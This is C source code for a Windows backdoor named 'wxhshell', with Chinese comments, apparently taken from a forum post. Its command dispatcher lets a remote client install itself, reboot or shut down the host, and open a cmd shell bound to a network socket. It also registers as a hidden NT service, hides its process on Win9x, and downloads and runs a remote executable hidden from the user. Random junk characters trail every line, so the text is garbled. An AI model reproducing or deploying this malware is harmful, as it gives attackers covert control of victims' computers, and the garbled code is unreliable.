    switch(cmd[0]) { 3o9`Ko0  
  / *Z( ;-  
  // 帮助 T3u%V_  
  case '?': { )TnxsFC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lfx&DK !  
    break; qXR>Z=K<  
  } 5rRYv~+  
  // 安装 Tm-Nz7U^^  
  case 'i': { UpL?6)  
    if(Install()) C|5eV=f)P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R!0O[i  
    else Qv(}*iq]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0V`s 3,k  
    break; s+YQ :>F  
    } /zMiy?  
  // 卸载 mk~&>\  
  case 'r': { ~'m GGH2  
    if(Uninstall()) a)^f`s^aa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B4bC6$Lg  
    else *>h"}e41  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p 2It/O  
    break; x[U/ 8#f&  
    } "X4OUk  
  // 显示 wxhshell 所在路径 c}kZ x1  
  case 'p': { A1Ia9@=Mf  
    char svExeFile[MAX_PATH]; S75wtz)e  
    strcpy(svExeFile,"\n\r"); biKom|<nm  
      strcat(svExeFile,ExeFile); 9F845M  
        send(wsh,svExeFile,strlen(svExeFile),0); m{9m.~d  
    break; \< <u  
    } 1q0DOf]!T  
  // 重启 d@#!,P5 `  
  case 'b': { Rx<m+=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fNPHc_?Ybj  
    if(Boot(REBOOT)) kngkG|du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }26?bd@e`  
    else { \`}Rdr!p%  
    closesocket(wsh); /5 B{szf  
    ExitThread(0); 2>p K  
    } 58\Rl  
    break; L}UJ`U  
    } TCYjj:/  
  // 关机 X|^E+ `M4  
  case 'd': { G7yCGT)vQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lyNa(3  
    if(Boot(SHUTDOWN)) D^yZ!}Kl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -'BC*fVr  
    else { 0ubT/  
    closesocket(wsh); 6S)$wj*w  
    ExitThread(0);  }&BE*U8_  
    } rCR?]1*Z  
    break; (Gr8JpV  
    } O]>9\!0{  
  // 获取shell q4'szDYO2  
  case 's': { fw$/@31AP?  
    CmdShell(wsh); ;wwhW|A  
    closesocket(wsh); _TfG-Ae  
    ExitThread(0); |=L~>G  
    break; ^2%_AP0=  
  } F$QN>wPpM  
  // 退出 B{$4s8XU  
  case 'x': { j&,,~AZm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eQ`TW'[9_6  
    CloseIt(wsh); 0O<g) %Vz>  
    break; xpCzx=n3.m  
    } +EjH9;gx  
  // 离开 =cI -<0QSn  
  case 'q': { <@6K(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3>Y G  
    closesocket(wsh); SxMmy  
    WSACleanup(); *yKw@@d+p  
    exit(1); F^.w:ad9<  
    break; Wd#r-&!6j  
        } /tR@J8pV  
  } "| cNY_$&s  
  } ,e$]jC<sv2  
FDBj<uXfM|  
  // 提示信息 ts%XjCN[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7s@%LS  
} :tU&d(8  
  } -9TNU7^  
\H|tc#::{  
  return; d/5i4g[q  
} l/0"'o_0v#  
x O?w8*d  
// shell模块句柄 8oiO:lyLSt  
int CmdShell(SOCKET sock) p vone,y2  
{ {:BAh 5e|  
STARTUPINFO si; Y '7f"W  
ZeroMemory(&si,sizeof(si)); JAJo^}}{b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "#1KO1@G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V'?bZcRr~  
PROCESS_INFORMATION ProcessInfo; *`$Y!uzG:\  
char cmdline[]="cmd"; q-gp;Fm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d S]TTU1  
  return 0; ,l/~epx4v)  
} hG51jVYtw  
L c4\i  
// 自身启动模式 YHBH9E/B  
int StartFromService(void) j_H"m R  
{ g(Q)fw  
typedef struct 9RA~#S|(T  
{ ~,[-pZ <  
  DWORD ExitStatus; :U;n?Zu S  
  DWORD PebBaseAddress; Y~z3fd  
  DWORD AffinityMask; +g/TDwyVH  
  DWORD BasePriority; JL gk?  
  ULONG UniqueProcessId; !SRElb A;i  
  ULONG InheritedFromUniqueProcessId; )y>o;^5'  
}   PROCESS_BASIC_INFORMATION; qQK0s*^W  
=nPIGI72VO  
PROCNTQSIP NtQueryInformationProcess; Mh [TZfV  
!qGER.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4@ EY+p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eaLR-+vEB  
RhwqAok|lj  
  HANDLE             hProcess; U8TH}9Q  
  PROCESS_BASIC_INFORMATION pbi; U9^o"vT  
z}?*1c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |dNJx<-  
  if(NULL == hInst ) return 0; FvpaU\D  
<ua`WRQr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @CGci lS=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yQ$Q{,S9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |NuX9!S  
,36AR|IO)  
  if (!NtQueryInformationProcess) return 0; |,!]]YO.V  
tFlLKziU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u /PaXQ  
  if(!hProcess) return 0; v C,53g  
p5F=?*[}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eh4`a<gC  
\"r84@<  
  CloseHandle(hProcess); D1w;cV7/d  
MR4e.+#E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }/)vOUcEd  
if(hProcess==NULL) return 0; 2stBW5v3  
((KNOa5  
HMODULE hMod; bm/pLC6%.  
char procName[255]; cyYsz'i m  
unsigned long cbNeeded; XS:W{tL!  
Tx+!D'>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "rxhS; R1>  
/mS|Byx  
  CloseHandle(hProcess); tYb8a  
%LI[+#QE  
if(strstr(procName,"services")) return 1; // 以服务启动 z}Y23W&sX  
3B*b d  
  return 0; // 注册表启动 4)- ?1?)  
} /~sNx  
!~sgFR8W  
// 主模块 k55s-%Ayr  
int StartWxhshell(LPSTR lpCmdLine) ^eF%4DUC;  
{ VN3"$@-POK  
  SOCKET wsl; cD^`dn%$  
BOOL val=TRUE; yg}zK>j^vC  
  int port=0; pF0sXvWGG  
  struct sockaddr_in door; Q=B>Q  
8+}yf.`  
  if(wscfg.ws_autoins) Install(); RbOEXH*]  
cV;<!f+  
port=atoi(lpCmdLine); VTS7K2lBvX  
9, A(|g  
if(port<=0) port=wscfg.ws_port; =*paa  
WY>r9+A?W  
  WSADATA data; Kjw==5)}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Myj 5qh  
5(9SIj^O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8{0=tOXx{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FYwMmb ~3  
  door.sin_family = AF_INET;  Tt;h?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l]g /rs  
  door.sin_port = htons(port); 4o/}KUu(*  
g5",jTn#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ojmF:hR"  
closesocket(wsl); 'gBGZ?^N!U  
return 1; &# [w*t(A  
} " a&|{bv  
RSv?imi=  
  if(listen(wsl,2) == INVALID_SOCKET) { N@qP}/}8  
closesocket(wsl); <@F.qMl  
return 1; bQ%6z}r  
} c<k=8P   
  Wxhshell(wsl); Bqcih$`BVU  
  WSACleanup(); cd&^ vQL8  
ON,sN  
return 0; z (1zth  
dM-qd`  
} egXHp<bqw  
`EBI$;!  
// 以NT服务方式启动 %-nYK3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X  jPPgI  
{ J\@ r ~x5G  
DWORD   status = 0; ,0hk)Vvr3  
  DWORD   specificError = 0xfffffff; E =*82Y=B  
xX !`0T7Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z_i (o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kv!QO^;^Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ul@swp  
  serviceStatus.dwWin32ExitCode     = 0; 96(3ilAt  
  serviceStatus.dwServiceSpecificExitCode = 0; g36:OK"  
  serviceStatus.dwCheckPoint       = 0; cVV@MC  
  serviceStatus.dwWaitHint       = 0; wo#,c(  
v[7iWBqJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s'7PHP)LOJ  
  if (hServiceStatusHandle==0) return; xM+_rU M|h  
{/)q=  
status = GetLastError(); ,H)v+lI  
  if (status!=NO_ERROR) k^H&IS!  
{ thU9s%,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =00c1v  
    serviceStatus.dwCheckPoint       = 0; ^y,Ex;6o  
    serviceStatus.dwWaitHint       = 0; Za110oF  
    serviceStatus.dwWin32ExitCode     = status; ~M c'~:{O  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]NEr]sc-"F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cD%_+@GaU  
    return; *jf%Wj)0M  
  } a<NZC  
W>E/LBpE4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \4`:~c  
  serviceStatus.dwCheckPoint       = 0; K]{x0A  
  serviceStatus.dwWaitHint       = 0; @%^JB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #NyfE|MKBC  
} DXa!"ZU  
i-jrF6&  
// 处理NT服务事件,比如:启动、停止 P Nf_{4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OGR2Y  
{ &E?TR A# E  
switch(fdwControl) Vr ^UEu.w?  
{ 69"4/n7B?  
case SERVICE_CONTROL_STOP: u\y$<  
  serviceStatus.dwWin32ExitCode = 0; =#Z+WD-E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o*t4zF&n  
  serviceStatus.dwCheckPoint   = 0; j&N {j_ M  
  serviceStatus.dwWaitHint     = 0; im&Nkk4n@  
  { )ep1`n-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ymW? <\AD,  
  }  5(\H:g\z  
  return; |Wg!> g!  
case SERVICE_CONTROL_PAUSE: E]P7u"1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2JhE`EVH  
  break; X T<SR]  
case SERVICE_CONTROL_CONTINUE: "!B\c9q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gTQc=,3l3  
  break; jhJ'fI  
case SERVICE_CONTROL_INTERROGATE: FX  %(<M  
  break; v;sWI"Fv!  
}; h}U>K4BJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wt M1nnJp  
} B'v~0Kau  
3 ,f3^A  
// 标准应用程序主函数 fq[1|Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1xD?cA\vu  
{ K%g_e*"$  
| 9 <+!t\  
// 获取操作系统版本 cakwGs_{  
OsIsNt=GetOsVer(); *%ta5a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tch;_7?  
iBt<EM]U/  
  // 从命令行安装 ]~@uStHn  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7PW7&]-WQ  
Pr_DMu  
  // 下载执行文件 .Cu0G1  
if(wscfg.ws_downexe) {  X@Bg_9\i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +Ym#!"  
  WinExec(wscfg.ws_filenam,SW_HIDE); E*vh<C  
} |%g)H,6c  
]p@q.P  
if(!OsIsNt) { )B9/P>c  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^ AJ_  
HideProc(); +7 mUX  
StartWxhshell(lpCmdLine); ELZ@0,  
} v hGX&   
else UZ;FrQ(l{  
  if(StartFromService()) =lmelo#m&  
  // 以服务方式启动 GD1L6kVd1  
  StartServiceCtrlDispatcher(DispatchTable); %w;wQ_  
else j%)@f0Ng  
  // 普通方式启动 yTR5*{?j  
  StartWxhshell(lpCmdLine); jfU$qo!gi  
'[vC C'  
return 0; ~[Z(6yX  
}
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只看该作者 1 发表于: 2006-10-10
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